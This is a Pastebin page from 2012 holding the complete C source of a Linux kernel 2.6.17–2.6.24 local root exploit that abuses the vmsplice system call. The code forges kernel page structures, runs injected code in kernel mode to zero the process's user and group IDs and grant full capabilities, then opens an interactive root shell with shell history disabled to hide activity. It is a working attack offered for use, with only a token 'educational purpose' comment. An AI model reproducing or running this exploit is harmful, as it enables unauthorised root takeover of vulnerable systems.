Advertisement
The_KGB

[Exploit]Root Linux 2.6.17 - 2.6.24 Kernel

Mar 19th, 2012
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.64 KB | None | 0 0
  1. /*
  2.  * Linux Kernel 2.6.17 x86|i386 Local root Exploit
  3.  * Linux 2.6.17 - 2.6.24
  4.  *      For Educational purpose ))
  5.  */
  6. #define _GNU_SOURCE
  7. #include <stdio.h>
  8. #include <errno.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <malloc.h>
  12. #include <limits.h>
  13. #include <signal.h>
  14. #include <unistd.h>
  15. #include <sys/uio.h>
  16. #include <sys/mman.h>
  17. #include <asm/page.h>
  18. #define __KERNEL__
  19. #include <asm/unistd.h>
  20.  
  21. #define PIPE_BUFFERS    16
  22. #define PG_compound    14
  23. #define uint        unsigned int
  24. #define static_inline    static inline __attribute__((always_inline))
  25. #define STACK(x)    (x + sizeof(x) - 40)
  26.  
  27. struct page {
  28.     unsigned long flags;
  29.     int count;
  30.     int mapcount;
  31.     unsigned long private;
  32.     void *mapping;
  33.     unsigned long index;
  34.     struct { long next, prev; } lru;
  35. };
  36.  
  37. void    exit_code();
  38. char    exit_stack[1024 * 1024];
  39.  
  40. void    die(char *msg, int err)
  41. {
  42.     printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  43.     fflush(stdout);
  44.     fflush(stderr);
  45.     exit(1);
  46. }
  47.  
  48. #if defined (__i386__)
  49.  
  50. #ifndef __NR_vmsplice
  51. #define __NR_vmsplice    316
  52. #endif
  53.  
  54. #define USER_CS        0x73
  55. #define USER_SS        0x7b
  56. #define USER_FL        0x246
  57.  
  58. static_inline
  59. void    exit_kernel()
  60. {
  61.     __asm__ __volatile__ (
  62.     "movl %0, 0x10(%%esp) ;"
  63.     "movl %1, 0x0c(%%esp) ;"
  64.     "movl %2, 0x08(%%esp) ;"
  65.     "movl %3, 0x04(%%esp) ;"
  66.     "movl %4, 0x00(%%esp) ;"
  67.     "iret"
  68.     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  69.         "i" (USER_CS), "r" (exit_code)
  70.     );
  71. }
  72.  
  73. static_inline
  74. void *    get_current()
  75. {
  76.     unsigned long curr;
  77.     __asm__ __volatile__ (
  78.     "movl %%esp, %%eax ;"
  79.     "andl %1, %%eax ;"
  80.     "movl (%%eax), %0"
  81.     : "=r" (curr)
  82.     : "i" (~8191)
  83.     );
  84.     return (void *) curr;
  85. }
  86.  
  87. #elif defined (__x86_64__)
  88.  
  89. #ifndef __NR_vmsplice
  90. #define __NR_vmsplice    278
  91. #endif
  92.  
  93. #define USER_CS        0x23
  94. #define USER_SS        0x2b
  95. #define USER_FL        0x246
  96.  
  97. static_inline
  98. void    exit_kernel()
  99. {
  100.     __asm__ __volatile__ (
  101.     "swapgs ;"
  102.     "movq %0, 0x20(%%rsp) ;"
  103.     "movq %1, 0x18(%%rsp) ;"
  104.     "movq %2, 0x10(%%rsp) ;"
  105.     "movq %3, 0x08(%%rsp) ;"
  106.     "movq %4, 0x00(%%rsp) ;"
  107.     "iretq"
  108.     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  109.         "i" (USER_CS), "r" (exit_code)
  110.     );
  111. }
  112.  
  113. static_inline
  114. void *    get_current()
  115. {
  116.     unsigned long curr;
  117.     __asm__ __volatile__ (
  118.     "movq %%gs:(0), %0"
  119.     : "=r" (curr)
  120.     );
  121.     return (void *) curr;
  122. }
  123.  
  124. #else
  125. #error "unsupported arch"
  126. #endif
  127.  
  128. #if defined (_syscall4)
  129. #define __NR__vmsplice    __NR_vmsplice
  130. _syscall4(
  131.     long, _vmsplice,
  132.     int, fd,
  133.     struct iovec *, iov,
  134.     unsigned long, nr_segs,
  135.     unsigned int, flags)
  136.  
  137. #else
  138. #define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  139. #endif
  140.  
  141. static uint uid, gid;
  142.  
  143. void    kernel_code()
  144. {
  145.     int    i;
  146.     uint    *p = get_current();
  147.  
  148.     for (i = 0; i < 1024-13; i++) {
  149.         if (p[0] == uid && p[1] == uid &&
  150.             p[2] == uid && p[3] == uid &&
  151.             p[4] == gid && p[5] == gid &&
  152.             p[6] == gid && p[7] == gid) {
  153.             p[0] = p[1] = p[2] = p[3] = 0;
  154.             p[4] = p[5] = p[6] = p[7] = 0;
  155.             p = (uint *) ((char *)(p + 8) + sizeof(void *));
  156.             p[0] = p[1] = p[2] = ~0;
  157.             break;
  158.         }
  159.         p++;
  160.     }    
  161.  
  162.     exit_kernel();
  163. }
  164.  
  165. void    exit_code()
  166. {
  167.     if (getuid() != 0)
  168.         die("wtf", 0);
  169.  
  170.     printf("[+] root woot\n");
  171.     putenv("HISTFILE=/dev/null");
  172.     execl("/bin/bash", "bash", "-i", NULL);
  173.     die("/bin/bash", errno);
  174. }
  175.  
  176. int    main(int argc, char *argv[])
  177. {
  178.     int        pi[2];
  179.     size_t        map_size;
  180.     char *        map_addr;
  181.     struct iovec    iov;
  182.     struct page *    pages[5];
  183.  
  184.     uid = getuid();
  185.     gid = getgid();
  186.     setresuid(uid, uid, uid);
  187.     setresgid(gid, gid, gid);
  188.  
  189.     printf("0101010010101010101010101010101010\n");
  190.     printf(" Linux Local Root Exploit by CrosS\n");
  191.     printf(" r00tw0rm.com | 1337day.com\n");
  192.     printf("0101010010101010101010101010101010\n");
  193.  
  194.     if (!uid || !gid)
  195.         die("!@#$", 0);
  196.  
  197.     /*****/
  198.     pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  199.     pages[1] = pages[0] + 1;
  200.  
  201.     map_size = PAGE_SIZE;
  202.     map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  203.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  204.     if (map_addr == MAP_FAILED)
  205.         die("mmap", errno);
  206.  
  207.     memset(map_addr, 0, map_size);
  208.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  209.     printf("[+] page: 0x%lx\n", pages[0]);
  210.     printf("[+] page: 0x%lx\n", pages[1]);
  211.  
  212.     pages[0]->flags    = 1 << PG_compound;
  213.     pages[0]->private  = (unsigned long) pages[0];
  214.     pages[0]->count    = 1;
  215.     pages[1]->lru.next = (long) kernel_code;
  216.  
  217.     /*****/
  218.     pages[2] = *(void **) pages[0];
  219.     pages[3] = pages[2] + 1;
  220.  
  221.     map_size = PAGE_SIZE;
  222.     map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  223.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  224.     if (map_addr == MAP_FAILED)
  225.         die("mmap", errno);
  226.  
  227.     memset(map_addr, 0, map_size);
  228.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  229.     printf("[+] page: 0x%lx\n", pages[2]);
  230.     printf("[+] page: 0x%lx\n", pages[3]);
  231.  
  232.     pages[2]->flags    = 1 << PG_compound;
  233.     pages[2]->private  = (unsigned long) pages[2];
  234.     pages[2]->count    = 1;
  235.     pages[3]->lru.next = (long) kernel_code;
  236.  
  237.     /*****/
  238.     pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  239.     map_size = PAGE_SIZE;
  240.     map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  241.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  242.     if (map_addr == MAP_FAILED)
  243.         die("mmap", errno);
  244.     memset(map_addr, 0, map_size);
  245.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  246.     printf("[+] page: 0x%lx\n", pages[4]);
  247.  
  248.     /*****/
  249.     map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  250.     map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  251.                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  252.     if (map_addr == MAP_FAILED)
  253.         die("mmap", errno);
  254.  
  255.     memset(map_addr, 0, map_size);
  256.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  257.  
  258.     /*****/
  259.     map_size -= 2 * PAGE_SIZE;
  260.     if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  261.         die("munmap", errno);
  262.  
  263.     /*****/
  264.     if (pipe(pi) < 0) die("pipe", errno);
  265.     close(pi[0]);
  266.  
  267.     iov.iov_base = map_addr;
  268.     iov.iov_len  = ULONG_MAX;
  269.  
  270.     signal(SIGPIPE, exit_code);
  271.     _vmsplice(pi[1], &iov, 1, 0);
  272.     die("vmsplice", errno);
  273.     return 0;
  274. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement